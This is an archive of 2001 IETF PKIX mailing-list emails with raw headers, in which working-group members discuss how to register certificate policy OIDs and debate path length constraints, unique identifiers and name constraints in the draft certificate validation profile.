Re: Registering a Certificate Policy OID

["Phillip H. Griffin" <[e-mail]>]

A couple of small points though. 

Semantics seem to matter to humans. I've helped 
set up OID registries for folks who felt that 
where they got their OID arc from had marketing
implications, even though the encoded OID value
is just an opaque string that has no semantics 
at all. 

So XYZ Consortium may wish to purchase an ISO
OID under "iso(1) identified-organization(3)"
or "joint-iso-itu-t(2) internationalRA(23)",
rather than use a free IANA OID, simply 
because they feel that this makes them a
recognized international organization.

Other folks may have OID size requirements that 
preclude using a free IANA OID for some purposes,
due to the length of these values when they are 
encoded. Instead an OID that encodes in less 
octets might be purchased so that object 
identifiers require less space or bandwidth 
in messages.

Phil


David Simonetti wrote:
> 
> Excellent summary, Russ!  I have found IANA to be the most convenient.
> 
> Dave S.
> 
> Russ Housley wrote:
> 
> > Cameron:
> >
> > It is absolutely critical that private OIDs are obtained from legitimate
> > authorities!  There are two basic strategies for obtaining legitimate
> > OIDs.  The first strategy is to register the objects with an
> > authority.  This strategy is very convenient if the PKI uses a small number
> > of relatively stable OIDs to represent certificate policies.  The second
> > strategy is to obtain an arc from an authority and assign OIDs as
> > needed.  This strategy may be preferred if policies are less stable or many
> > OIDs are needed.
> >
> > ANSI is the registration authority for the US for organization names under
> > the global registration process established by ISO and ITU.  A fact sheet
> > with links to an application form is located at the ANSI web site
> > (http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc for
> > organizations is 2.16.840.1.  ANSI charges a fee for OID arc
> > assignments.  It takes approximately two weeks to receive the assigned OID
> > arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID arc:
> > 2.16.840.1.NEWNUM.
> >
> > In most countries, the national standards association maintains an OID
> > registry.  As with the ANSI arc, these are generally arcs assigned under
> > the OID 2.16.  It may take some investigation to find the OID authority for
> > a particular country.  The addresses for ISO national member bodies may be
> > found at http://www.iso.ch/addresse/membodies.html.  The information
> > includes postal address and electronic mail.  In many cases, a web site is
> > specified as well.
> >
> > Another possible starting point is the International Register of ISO DCC
> > NSAP schemes.  NSAP stands for Network Service Access Point, and is used in
> > various international standards.  The registry for schemes may be obtained
> > at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists
> > contact information for thirteen naming authorities, some of which will
> > also assign OIDs.
> >
> > The Internet Assigned Numbers Authority (IANA) assigns private enterprise
> > numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to
> > over 7,500 companies to date.  The application page is located at
> > http://www.iana.org/forms.html, under Private Enterprise Numbers.  The IANA
> > usually takes about one week.  An OID from IANA is free.  IANA will assign
> > a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.
> >
> > The U.S. Federal Government maintains the Computer Security Objects
> > Registry (CSOR).  The CSOR is the naming authority for the arc
> > 2.16.840.1.101.3, and is currently registering objects for security labels,
> > cryptographic algorithms, and certificate policies.  The certificate policy
> > OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides policy
> > OIDs to agencies of the U.S. Federal Government.  For more information
> > about the CSOR, see http://csrc.nist.gov/csor/.  For more information on
> > OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.
> >
> > Good luck,
> >     Russ
> >
> > At 04:20 PM 2/26/2001 -0800, Cameron Smith wrote:
> > >(Pardon my ignorant question and wide distribution, but I don't know where
> > >else to turn.)
> > >
> > >How does one obtain/register a Certificate Policy OID for an organization?
> > >
> > >Regards,
> > >
> > >Cameron
> > >
> > >--
> > >Cameron Smith
> > >PKI Security Analyst
> > >Symantec Corporation
> 
> --
> David Simonetti
> Securify (www.securify.com), 410-356-2260



Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA06825 for <[e-mail]>; Wed, 28 Feb 2001 15:25:03 -0800 (PST)
Received: from asn-1.com (user-37kaslj.dialup.mindspring.com [207.69.114.179]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id SAA28910; Wed, 28 Feb 2001 18:24:50 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 18:26:40 -0500
From: "Phillip H. Griffin" <[e-mail]>
Reply-To: [e-mail]
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: David Simonetti <[e-mail]>
CC: Cameron Smith <[e-mail]>, [e-mail]
Subject: Re: Registering a Certificate Policy OID
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

A couple of small points though. 

Semantics seem to matter to humans. I've helped 
set up OID registries for folks who felt that 
where they got their OID arc from had marketing
implications, even though the encoded OID value
is just an opaque string that has no semantics 
at all. 

So XYZ Consortium may wish to purchase an ISO
OID under "iso(1) identified-organization(3)"
or "joint-iso-itu-t(2) internationalRA(23)",
rather than use a free IANA OID, simply 
because they feel that this makes them a
recognized international organization.

Other folks may have OID size requirements that 
preclude using a free IANA OID for some purposes,
due to the length of these values when they are 
encoded. Instead an OID that encodes in less 
octets might be purchased so that object 
identifiers require less space or bandwidth 
in messages.

Phil


David Simonetti wrote:
> 
> Excellent summary, Russ!  I have found IANA to be the most convenient.
> 
> Dave S.
> 
> Russ Housley wrote:
> 
> > Cameron:
> >
> > It is absolutely critical that private OIDs are obtained from legitimate
> > authorities!  There are two basic strategies for obtaining legitimate
> > OIDs.  The first strategy is to register the objects with an
> > authority.  This strategy is very convenient if the PKI uses a small number
> > of relatively stable OIDs to represent certificate policies.  The second
> > strategy is to obtain an arc from an authority and assign OIDs as
> > needed.  This strategy may be preferred if policies are less stable or many
> > OIDs are needed.
> >
> > ANSI is the registration authority for the US for organization names under
> > the global registration process established by ISO and ITU.  A fact sheet
> > with links to an application form is located at the ANSI web site
> > (http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc for
> > organizations is 2.16.840.1.  ANSI charges a fee for OID arc
> > assignments.  It takes approximately two weeks to receive the assigned OID
> > arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID arc:
> > 2.16.840.1.NEWNUM.
> >
> > In most countries, the national standards association maintains an OID
> > registry.  As with the ANSI arc, these are generally arcs assigned under
> > the OID 2.16.  It may take some investigation to find the OID authority for
> > a particular country.  The addresses for ISO national member bodies may be
> > found at http://www.iso.ch/addresse/membodies.html.  The information
> > includes postal address and electronic mail.  In many cases, a web site is
> > specified as well.
> >
> > Another possible starting point is the International Register of ISO DCC
> > NSAP schemes.  NSAP stands for Network Service Access Point, and is used in
> > various international standards.  The registry for schemes may be obtained
> > at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists
> > contact information for thirteen naming authorities, some of which will
> > also assign OIDs.
> >
> > The Internet Assigned Numbers Authority (IANA) assigns private enterprise
> > numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to
> > over 7,500 companies to date.  The application page is located at
> > http://www.iana.org/forms.html, under Private Enterprise Numbers.  The IANA
> > usually takes about one week.  An OID from IANA is free.  IANA will assign
> > a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.
> >
> > The U.S. Federal Government maintains the Computer Security Objects
> > Registry (CSOR).  The CSOR is the naming authority for the arc
> > 2.16.840.1.101.3, and is currently registering objects for security labels,
> > cryptographic algorithms, and certificate policies.  The certificate policy
> > OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides policy
> > OIDs to agencies of the U.S. Federal Government.  For more information
> > about the CSOR, see http://csrc.nist.gov/csor/.  For more information on
> > OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.
> >
> > Good luck,
> >     Russ
> >
> > At 04:20 PM 2/26/2001 -0800, Cameron Smith wrote:
> > >(Pardon my ignorant question and wide distribution, but I don't know where
> > >else to turn.)
> > >
> > >How does one obtain/register a Certificate Policy OID for an organization?
> > >
> > >Regards,
> > >
> > >Cameron
> > >
> > >--
> > >Cameron Smith
> > >PKI Security Analyst
> > >Symantec Corporation
> 
> --
> David Simonetti
> Securify (www.securify.com), 410-356-2260


Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA05806 for <[e-mail]>; Wed, 28 Feb 2001 15:12:21 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id FXDB6ASV; Wed, 28 Feb 2001 15:10:43 -0800
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 18:00:35 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Let's make this a fair fight and make it three on three.  This David agrees with
Steve and John.

In Tim's original message:

"CA "A" issues a CA certificate to CA "B".  "A" trusts end entity
certificates issued by "B", but does not trust "B" to issue certificates to
other CAs.  "A" includes basic constraints in the certificate it issues to
"B" with cA = TRUE and pathLen = 0."

""B" does not issue its own CRLs, but delegates this to CA "C".  "B" also
trusts "C" to issue end entity certificates. So, "B" includes basic
constraints in the certificate it issues to "B" with cA = TRUE."

Let me begin by stating that I really dislike this scenario.  Theoretically this
is possible, but why would anyone architect such a design?  If I really had to
address this scenario, a design that fits within the current semantics would be
one that creates a distinct "personality" for issuing the CRLs which could be
issued an end entity certificate with the cRLSign bit set.

Stay with the current semantics and stop trying to break things that really
aren't broken.

Dave S.

Steve Hanna wrote:

> Steve Hanna wrote:
> > P.S. I have not seen anything approaching rough consensus on the basic
> > question of which of these semantics we should use. John Linn and I
> > have sent email favoring the RFC 2459 semantics (pathLenConstraint
> > being the maximum number of subsequent CA certificates allowed). You
> > and David Cross have sent email favoring the new-part1 semantics
> > (pathLenConstraint being the maximum number of intermediate
> > certificates allowed). If there is no further discussion on the list,
> > we may need to check consensus in Minneapolis.
>
> I forgot that David Cooper also sent email favoring the new-part1
> semantics. Sorry! That makes three Davids in favor of the new-part1
> semantics and Steve and John in favor of the RFC 2459 semantics. Still
> closely divided.
>
> -Steve

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA03161 for <[e-mail]>; Wed, 28 Feb 2001 14:28:42 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA07149 for <[e-mail]>; Wed, 28 Feb 2001 14:28:45 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA11026 for <[e-mail]>; Wed, 28 Feb 2001 17:28:40 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 17:25:17 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: PKIX List <[e-mail]>
Subject: UIDs popping up in new-part1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Last fall, we agreed to remove issuer and subject unique identifier
comparison from the validation algorithm. At least, I think we did. The
argument was that nobody uses unique identifiers and there's no good
reason to retain support for them.

In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
they remain in step (a) (5) of section 6.1.3, which says:

         (5) The certificate issuer unique identifier is the
         working_issuer_UID, meaning:

            (i) working_issuer_UID is non-null and matches the value in
            the issuerUID field, or

            (ii) working_issuer_UID is null and the issuerUID field is
            not present.

But working_issuer_UID is no longer set anywhere. We should either put
back the text that initializes and updates this state variable or we
should change this step so that it doesn't refer to this uninitialized
varible. I suggest that we remove support for unique identifier chaining
by changing this step to say:

         (5) The issuerUniqueID and subjectUniqueID fields are not
         present in the certificate.

This will ensure that compliant implementations will not accidentally
accept certificates that use these fields, since support for these
fields is no longer required. I also suggest that we change the sentence
in section 4.1.2.8 that reads "Applications conforming to this profile
SHOULD be capable of parsing unique identifiers and making
comparisons."  to read "Applications conforming to this profile SHOULD
reject certificates that contain unique identifiers."

-Steve


Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA02533 for <[e-mail]>; Wed, 28 Feb 2001 14:22:27 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id FXDB6ALZ; Wed, 28 Feb 2001 14:20:48 -0800
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 17:10:40 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Cameron Smith <[e-mail]>
CC: [e-mail]
Subject: Re: Registering a Certificate Policy OID
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Excellent summary, Russ!  I have found IANA to be the most convenient.

Dave S.

Russ Housley wrote:

> Cameron:
>
> It is absolutely critical that private OIDs are obtained from legitimate
> authorities!  There are two basic strategies for obtaining legitimate
> OIDs.  The first strategy is to register the objects with an
> authority.  This strategy is very convenient if the PKI uses a small number
> of relatively stable OIDs to represent certificate policies.  The second
> strategy is to obtain an arc from an authority and assign OIDs as
> needed.  This strategy may be preferred if policies are less stable or many
> OIDs are needed.
>
> ANSI is the registration authority for the US for organization names under
> the global registration process established by ISO and ITU.  A fact sheet
> with links to an application form is located at the ANSI web site
> (http://web.ansi.org/public/services/reg_org.html).  The ANSI OID arc for
> organizations is 2.16.840.1.  ANSI charges a fee for OID arc
> assignments.  It takes approximately two weeks to receive the assigned OID
> arc from ANSI.  ANSI will assign a number (NEWNUM), creating a new OID arc:
> 2.16.840.1.NEWNUM.
>
> In most countries, the national standards association maintains an OID
> registry.  As with the ANSI arc, these are generally arcs assigned under
> the OID 2.16.  It may take some investigation to find the OID authority for
> a particular country.  The addresses for ISO national member bodies may be
> found at http://www.iso.ch/addresse/membodies.html.  The information
> includes postal address and electronic mail.  In many cases, a web site is
> specified as well.
>
> Another possible starting point is the International Register of ISO DCC
> NSAP schemes.  NSAP stands for Network Service Access Point, and is used in
> various international standards.  The registry for schemes may be obtained
> at http://www.fei.org.uk/fei/dcc-nsap.htm.  The web site currently lists
> contact information for thirteen naming authorities, some of which will
> also assign OIDs.
>
> The Internet Assigned Numbers Authority (IANA) assigns private enterprise
> numbers, which are OIDs, in the arc 1.3.6.1.4.1.  IANA has assigned arcs to
> over 7,500 companies to date.  The application page is located at
> http://www.iana.org/forms.html, under Private Enterprise Numbers.  The IANA
> usually takes about one week.  An OID from IANA is free.  IANA will assign
> a number (NEWNUM) so that the new OID arc will be 1.3.6.1.4.1.NEWNUM.
>
> The U.S. Federal Government maintains the Computer Security Objects
> Registry (CSOR).  The CSOR is the naming authority for the arc
> 2.16.840.1.101.3, and is currently registering objects for security labels,
> cryptographic algorithms, and certificate policies.  The certificate policy
> OIDs are defined in the arc 2.16.840.1.101.3.2.1.  The CSOR provides policy
> OIDs to agencies of the U.S. Federal Government.  For more information
> about the CSOR, see http://csrc.nist.gov/csor/.  For more information on
> OIDs for certificate policies, see http://csrc.nist.gov/csor/pkireg.htm.
>
> Good luck,
>     Russ
>
> At 04:20 PM 2/26/2001 -0800, Cameron Smith wrote:
> >(Pardon my ignorant question and wide distribution, but I don't know where
> >else to turn.)
> >
> >How does one obtain/register a Certificate Policy OID for an organization?
> >
> >Regards,
> >
> >Cameron
> >
> >--
> >Cameron Smith
> >PKI Security Analyst
> >Symantec Corporation

--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA01736 for <[e-mail]>; Wed, 28 Feb 2001 14:13:07 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA23477; Wed, 28 Feb 2001 14:13:09 -0800 (PST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA08300; Wed, 28 Feb 2001 17:13:03 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 28 Feb 2001 17:09:41 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Denis Pinkas <[e-mail]>
CC: Tim Polk <[e-mail]>, [e-mail]
Subject: Re: WG Last Call: Son-of-2459
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

For the record, I do not agree with these comments and I do not think
that any changes should be made to new-part1 because of them. My
responses are interspersed.

Denis Pinkas wrote:
> ... but, in section 6, there is nearly no text on name constraints.

The text on name constraints in section 6 is perfectly adequate, when
combined with the text in section 4.2.1.11.

> I have found some time to take a look at section 6 from the long awaited
> Son-of-2459, and I am disappointed. We spent quite an hour sitting
> together with you during the Pittsburgh meeting to add the name constraints
> to section 6.2 and I can't find that text. :-(

Substantial changes to IETF working group documents should be the result
of open discussions on the mailing list so that rough consensus can be
judged. Clarifications and simple corrections can be made by the
document editor on the basis of private conversations, but any
significant changes should at least be announced to the mailing list to
see if they reflect rough working group consensus before incorporating
them into the document. I haven't seen these changes (some rather
substantial) discussed before on the list, so I'm not surprised that
they didn't make it into the document.

> So let us go one by one at the changes that are required, and a few more
> that we did not discuss. This makes 14 change proposals altogether:

I will address only some of the change proposals. This does not mean
that I agree with the ones I omit.

> 2. Page 58. Current text:
> 
>    The
>    binding is limited by constraints which are specified in the
>    certificates which comprise the path and the initial state variables
>    which are specified by the relying party.
> 
> Proposed change:
> 
>    The binding is limited both by constraints which are specified in
>    the certificates which comprise the path and the initial state
>    variables which are specified by the relying party, such as
>    certificate policy and name constraints.
> 
> Rational: name constraints were missing.

First, the text you quote as "current text" is actually from
draft-ietf-pkix-new-part1-03.txt. In draft-ietf-pkix-new-part1-04.txt,
this sentence has been changed to read "The binding is limited by
constraints which are specified in the certificates which comprise the
path and inputs which are specified by the relying party." The state
variables are initialized based on the relying party's inputs in the
initialization phase (section 6.1.2).

Second, in the basic validation algorithm described in section 6.1, the
relying party does not supply name constraints. Name constraints are
only provided by intermediate CA certificates. Some implementations may
extend the algorithm described in section 6.1 (using various techniques
such as those described in section 6.2), but I will argue strongly that
we should not include name constraints as an input to the basic
validation algorithm described in section 6.1. This is an unusual
feature and not commonly useful. It would be too great a burden to
require all implementations of the PKIX validation algorithm to include
support for it. That's why it belongs in section 6.2 and not in section
6.1. And, actually, it's not clear to me that it needs to be in section
6.2. Anyone is welcome to add support for specifying name constraints on
for each trust anchor or policy constraints or EKU constraints or
whatever they want. We don't need to describe how all of that would
work. We just need to describe the required algorithm and a few common
extensions (like multiple trust anchors).

> 6. Page 60. Current text:
> 
>    However, a CA may issue a
>    certificate to itself to support key rollover or changes in
>    certificate policies.
> 
> Proposed change:
> 
>    However, a CA may issue a certificate to itself to support either
>    public key rollover, both public key rollover and changes in
>    certificate policies and/or name constraints.
> 
> Rational: name constraints were missing.

Including name constraints in a self-issued certificate is pretty
unusual (and not likely to be very effective). In general, I suggest
finding a trusted CA (or a small number) and having them issue cross
certificates (with name constraints and any other fancy stuff). This
avoids the problem of having many trust anchors with various name
constraints, which must be replaced manually if the constraints change
(due to marketing, mergers, etc.).

-Steve


Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA29028 for <[e-mail]>; Wed, 28 Feb 2001 13:28:19 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <F59BG3WW>; Wed, 28 Feb 2001 16:27:51 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'David A. Cooper'" <[e-mail]>, [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 28 Feb 2001 16:25:35 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A1CC.FCE0DFD0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A1CC.FCE0DFD0
Content-Type: text/plain

David, absolutely agree about the alignment (we need to at least have
alignment of the resolution of the defect, however it is possible of course
for the words to differ in 509 and in PKIX as long as the meanings are
aligned).

>From the 509 perspective, we'd like to submit the new defects for the formal
ISO ballot process within the next couple of weeks and I want to be sure
that the text we send for ballot is as close to the 'final approved' text as
possible. Alignment is of course of very high importance, so the outcome of
this PKIX discussion will be very valuable. I think we're all on the same
page with respect to intent. In my mind, in the case where the final cert in
a path is a cert that with a subject that is a CA, for purposes of
validation of such a path the CA is acting in the role of an end-entity.
That's probably why I'm not so concerned about the use of the terms.
However, if there are better words to explain that we can certainly modify
the text before the ISO ballot (its MUCH easier to change before the ballot
than as a result of a ballot). I only want to change it once though so I'll
wait a bit to see the outcome of this discussion (and of course any change
would also have to go through the OSIDirectory list, for those who are not
also on the PKIX list to get to review it). 

I hope PKIX folks are also looking at DR 273-277 posted on the Bull server.
They're all X.509 defects as well and I want to be sure they've gotten the
full review they need before ballot.



Cheers
Sharon 

> -----Original Message-----
> From: David A. Cooper [mailto:[e-mail]]
> Sent: Wednesday, February 28, 2001 2:33 PM
> To: [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Steve,
> 
> Last week Hoyt Kesterson sent a message to the PKIX list 
> pointing out some defect reports against X.509. One of these, 
> DR 272, deals with path length constraints:
> 
> ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectRep
> orts/X.509andRelated/DR_272Rev1.pdf
> 
> DR 272 proposes adding some new text to X.509 to help clarify 
> the meaning of path length constraints in public key and 
> attribute certificates. From my reading of the text, there 
> seems to be an assumption that every certification path will 
> end with an end-entity certificate as in the following sentence:
> 
>                  The constraint controls the number of non 
> self-issued CA certificates between
>                  the CA certificate containing the constraint 
> and the end-entity certificate.
> 
> Hoyt's message states that DR 272 has not yet been submitted 
> for formal voting, but that it will be soon. We should keep 
> this in mind when deciding on the text to use in new-part1 so 
> we can ensure that X.509 and new-part1 are both clear and 
> consistent in this area.
> 
> Dave
> 
> At 01:28 PM 2/28/01 -0500, Steve Hanna wrote:
> >I have not seen anything approaching rough consensus on the basic
> >question of which of these semantics we should use. John 
> Linn and I have
> >sent email favoring the RFC 2459 semantics 
> (pathLenConstraint being the
> >maximum number of subsequent CA certificates allowed). You and David
> >Cross have sent email favoring the new-part1 semantics
> >(pathLenConstraint being the maximum number of intermediate 
> certificates
> >allowed). If there is no further discussion on the list, we 
> may need to
> >check consensus in Minneapolis.
> 
> 

------_=_NextPart_001_01C0A1CC.FCE0DFD0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>David, absolutely agree about the alignment (we need =
to at least have alignment of the resolution of the defect, however it =
is possible of course for the words to differ in 509 and in PKIX as =
long as the meanings are aligned).</FONT></P>

<P><FONT SIZE=3D2>From the 509 perspective, we'd like to submit the new =
defects for the formal ISO ballot process within the next couple of =
weeks and I want to be sure that the text we send for ballot is as =
close to the 'final approved' text as possible. Alignment is of course =
of very high importance, so the outcome of this PKIX discussion will be =
very valuable. I think we're all on the same page with respect to =
intent. In my mind, in the case where the final cert in a path is a =
cert that with a subject that is a CA, for purposes of validation of =
such a path the CA is acting in the role of an end-entity. That's =
probably why I'm not so concerned about the use of the terms. However, =
if there are better words to explain that we can certainly modify the =
text before the ISO ballot (its MUCH easier to change before the ballot =
than as a result of a ballot). I only want to change it once though so =
I'll wait a bit to see the outcome of this discussion (and of course =
any change would also have to go through the OSIDirectory list, for =
those who are not also on the PKIX list to get to review it). =
</FONT></P>

<P><FONT SIZE=3D2>I hope PKIX folks are also looking at DR 273-277 =
posted on the Bull server. They're all X.509 defects as well and I want =
to be sure they've gotten the full review they need before =
ballot.</FONT></P>
<BR>
<BR>

<P><FONT SIZE=3D2>Cheers</FONT>
<BR><FONT SIZE=3D2>Sharon </FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: David A. Cooper [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, February 28, 2001 2:33 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: [e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Open Issue in Part1: path length =
constraints</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Steve,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Last week Hoyt Kesterson sent a message to the =
PKIX list </FONT>
<BR><FONT SIZE=3D2>&gt; pointing out some defect reports against X.509. =
One of these, </FONT>
<BR><FONT SIZE=3D2>&gt; DR 272, deals with path length =
constraints:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectRep" =
TARGET=3D"_blank">ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/D=
efectRep</A></FONT>
<BR><FONT SIZE=3D2>&gt; orts/X.509andRelated/DR_272Rev1.pdf</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; DR 272 proposes adding some new text to X.509 =
to help clarify </FONT>
<BR><FONT SIZE=3D2>&gt; the meaning of path length constraints in =
public key and </FONT>
<BR><FONT SIZE=3D2>&gt; attribute certificates. From my reading of the =
text, there </FONT>
<BR><FONT SIZE=3D2>&gt; seems to be an assumption that every =
certification path will </FONT>
<BR><FONT SIZE=3D2>&gt; end with an end-entity certificate as in the =
following sentence:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The constraint controls the =
number of non </FONT>
<BR><FONT SIZE=3D2>&gt; self-issued CA certificates between</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the CA certificate =
containing the constraint </FONT>
<BR><FONT SIZE=3D2>&gt; and the end-entity certificate.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hoyt's message states that DR 272 has not yet =
been submitted </FONT>
<BR><FONT SIZE=3D2>&gt; for formal voting, but that it will be soon. We =
should keep </FONT>
<BR><FONT SIZE=3D2>&gt; this in mind when deciding on the text to use =
in new-part1 so </FONT>
<BR><FONT SIZE=3D2>&gt; we can ensure that X.509 and new-part1 are both =
clear and </FONT>
<BR><FONT SIZE=3D2>&gt; consistent in this area.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Dave</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; At 01:28 PM 2/28/01 -0500, Steve Hanna =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;I have not seen anything approaching rough =
consensus on the basic</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;question of which of these semantics we =
should use. John </FONT>
<BR><FONT SIZE=3D2>&gt; Linn and I have</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;sent email favoring the RFC 2459 semantics =
</FONT>
<BR><FONT SIZE=3D2>&gt; (pathLenConstraint being the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;maximum number of subsequent CA =
certificates allowed). You and David</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Cross have sent email favoring the =
new-part1 semantics</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;(pathLenConstraint being the maximum number =
of intermediate </FONT>
<BR><FONT SIZE=3D2>&gt; certificates</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;allowed). If there is no further discussion =
on the list, we </FONT>
<BR><FONT SIZE=3D2>&gt; may need to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;check consensus in Minneapolis.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A1CC.FCE0DFD0--


